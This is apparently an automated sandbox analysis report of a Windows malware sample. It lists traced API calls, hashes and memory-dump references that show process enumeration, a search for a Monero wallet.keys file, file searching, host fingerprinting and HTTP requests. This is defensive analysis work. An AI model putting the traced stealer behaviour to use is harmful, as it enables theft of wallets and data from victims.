API String ID: 549879638-738592651
Opcode ID: 668ce7979955070198782f5970f987f8e4dabddcf19e4bb715db654cd6ca82ce
Instruction ID: 2b063ab560fb2a630fa44141f53e8b31b37b7c68845cb1c3475495f79c0ba669
Opcode Fuzzy Hash: 668ce7979955070198782f5970f987f8e4dabddcf19e4bb715db654cd6ca82ce
Instruction Fuzzy Hash: DF313EB6D00209ABCF14DFE4DD46EEFB7B8BF89304F544518E955A7242EB349A04CBA1

Function 009B8120 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 009B816A
Process32First.KERNEL32(?,00000128), ref: 009B817E
Process32Next.KERNEL32(?,00000128), ref: 009B8193

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

FindCloseChangeNotification.KERNEL32(?), ref: 009B8201

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: e0c529b602a7fee49ca7d87204a3f3e9cf6f85d178af547712172bdf4e7697f8
Instruction ID: 35590fae5e6641ce730a3ddce57a12c799e8c8dc2fed0070b8b773959bb0b932
Opcode Fuzzy Hash: e0c529b602a7fee49ca7d87204a3f3e9cf6f85d178af547712172bdf4e7697f8
Instruction Fuzzy Hash: 69315971905218ABCB24EB58CE51FEEB77CEF88720F104199E10AA21A0DF706E44CFA1

Function 009B6593 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01489310,?,009C10DC,?,00000000,?,009C10E0,?,00000000,009C0ADA), ref: 009B656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 009B6588
CloseHandle.KERNEL32(00000000), ref: 009B6599
Sleep.KERNEL32(00001770), ref: 009B65A4
CloseHandle.KERNEL32(?,00000000,?,01489310,?,009C10DC,?,00000000,?,009C10E0,?,00000000,009C0ADA), ref: 009B65BA
ExitProcess.KERNEL32 ref: 009B65C2

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: ea8d61f5b799e1861ed1ae4d20bad8b59f177cd7b1b936dd0c9df130a81a910b
Instruction ID: e4a160b0b7baa8262cf7d3ba8ec0f3e31577d9185f030a5286c59bec69c434d9
Opcode Fuzzy Hash: ea8d61f5b799e1861ed1ae4d20bad8b59f177cd7b1b936dd0c9df130a81a910b
Instruction Fuzzy Hash: D6F08270900209EFEB20ABA0DE19FFD7B74AF58721F104418F516A60E5DFF87504CA65

Function 009B6B70 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 009B6B7F

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 009B6C2C

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcpy
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-4138519520
Opcode ID: 1d1907cddc41aa10072cd5bffac6a8f001c1f79e092d20748621366922be69da
Instruction ID: ae3c986f2134cbcf0342ddd754173b4775479218279026c788c70491ecf2b6b7
Opcode Fuzzy Hash: 1d1907cddc41aa10072cd5bffac6a8f001c1f79e092d20748621366922be69da
Instruction Fuzzy Hash: 38516FB0D00218EBDB24EB90DD95BEEB778AF94314F5044ADE209671C1EB786E88CF55

Function 009B4CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 009BA170: lstrcpy.KERNEL32(?,00000000), ref: 009BA1B6

Part of subcall function 009A62D0: InternetOpenA.WININET(009C0DE6,00000001,00000000,00000000,00000000), ref: 009A6331
Part of subcall function 009A62D0: StrCmpCA.SHLWAPI(?,0148FA70), ref: 009A6353
Part of subcall function 009A62D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 009A6385
Part of subcall function 009A62D0: HttpOpenRequestA.WININET(00000000,GET,?,0148F538,00000000,00000000,00400100,00000000), ref: 009A63D5
Part of subcall function 009A62D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 009A640F
Part of subcall function 009A62D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 009A6421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 009B4D08

Strings

ERROR, xrefs: 009B4D53
ERROR, xrefs: 009B4CFA

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 1e6e631dbd9a9963859d1423a140799d1b0a0a1813ff4e36e8efca4a9b14ff85
Instruction ID: 0ebafbc1bc6dedb4e27f60dc8e075a35b70b485b1e975f486ec7a46737be53b7
Opcode Fuzzy Hash: 1e6e631dbd9a9963859d1423a140799d1b0a0a1813ff4e36e8efca4a9b14ff85
Instruction Fuzzy Hash: BB11FE70904108BACB14FF64DE96FED777CAFD0320F408568F81A561A2EF706B04D692

Function 009B4A20 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009B8880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 009B88AB

lstrcat.KERNEL32(?,00000000), ref: 009B4A5A
lstrcat.KERNEL32(?,009C1040), ref: 009B4A77
lstrcat.KERNEL32(?,01489250), ref: 009B4A8B
lstrcat.KERNEL32(?,009C1044), ref: 009B4A9D

Part of subcall function 009B43F0: wsprintfA.USER32 ref: 009B440C
Part of subcall function 009B43F0: FindFirstFileA.KERNEL32(?,?), ref: 009B4423

Part of subcall function 009B43F0: StrCmpCA.SHLWAPI(?,009C0FAC), ref: 009B4451
Part of subcall function 009B43F0: StrCmpCA.SHLWAPI(?,009C0FB0), ref: 009B4467
Part of subcall function 009B43F0: FindNextFileA.KERNEL32(000000FF,?), ref: 009B465D
Part of subcall function 009B43F0: FindClose.KERNEL32(000000FF), ref: 009B4672

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 9f0462cbc8b2f42890f665d022d165e8ee38230c357d8f84205f53d9d980ad77
Instruction ID: bae33ee40e55b08b4b0ca4bde8ce90ac2d8cff4f00bdf81b8816581ddbfd82da
Opcode Fuzzy Hash: 9f0462cbc8b2f42890f665d022d165e8ee38230c357d8f84205f53d9d980ad77
Instruction Fuzzy Hash: 5821AD7A900208A7C714F7A4DD46FED777CABDD300F408558B54A97191EE745AC88BA2

Function 009B0580 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01489200), ref: 009B05DA
StrCmpCA.SHLWAPI(00000000,014892A0), ref: 009B06A6
StrCmpCA.SHLWAPI(00000000,01489120), ref: 009B07DD

Part of subcall function 009BA170: lstrcpy.KERNEL32(?,00000000), ref: 009BA1B6

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 94cd5340beefd077378e1db59dec21e825b3a4f54671adaf7f32b715cda4c9fb
Instruction ID: d40a83a4bc34a6c56c21f0a0b78eca7b3a90cf5ec42e3ac805a89bc0db74b364
Opcode Fuzzy Hash: 94cd5340beefd077378e1db59dec21e825b3a4f54671adaf7f32b715cda4c9fb
Instruction Fuzzy Hash: 8B915B75A002089FCB18EF68DA95FED77B9FFD5310F508519E8099F251DB309A05CB92

Function 009B05A5 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01489200), ref: 009B05DA
StrCmpCA.SHLWAPI(00000000,014892A0), ref: 009B06A6
StrCmpCA.SHLWAPI(00000000,01489120), ref: 009B07DD

Part of subcall function 009BA170: lstrcpy.KERNEL32(?,00000000), ref: 009BA1B6

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: e6895d646402e47b5ef110ec4eae997dee1c932d7143615e6821360a5589252f
Instruction ID: d217d397cec0234621bc3cd3a8d38c37c573544830d83b7d82a43876b9381053
Opcode Fuzzy Hash: e6895d646402e47b5ef110ec4eae997dee1c932d7143615e6821360a5589252f
Instruction Fuzzy Hash: 23814775A002089FCB18EF68DA95FEDB7B9FFD5310F108529E4099B255DB309A05CB92

Function 009B7380 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 009B73B0
RtlAllocateHeap.NTDLL(00000000), ref: 009B73B7
GetComputerNameA.KERNEL32(?,00000104), ref: 009B73CF

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 686187fd1a871e9c2ec14aece84b8a78173f566fbef222d83a185cd77e4a37b5
Instruction ID: 8ac325a674df2ae4ea734af82cfe2897ebe7f3e87a4a1e99a7e7d1b7a36d2ea1
Opcode Fuzzy Hash: 686187fd1a871e9c2ec14aece84b8a78173f566fbef222d83a185cd77e4a37b5
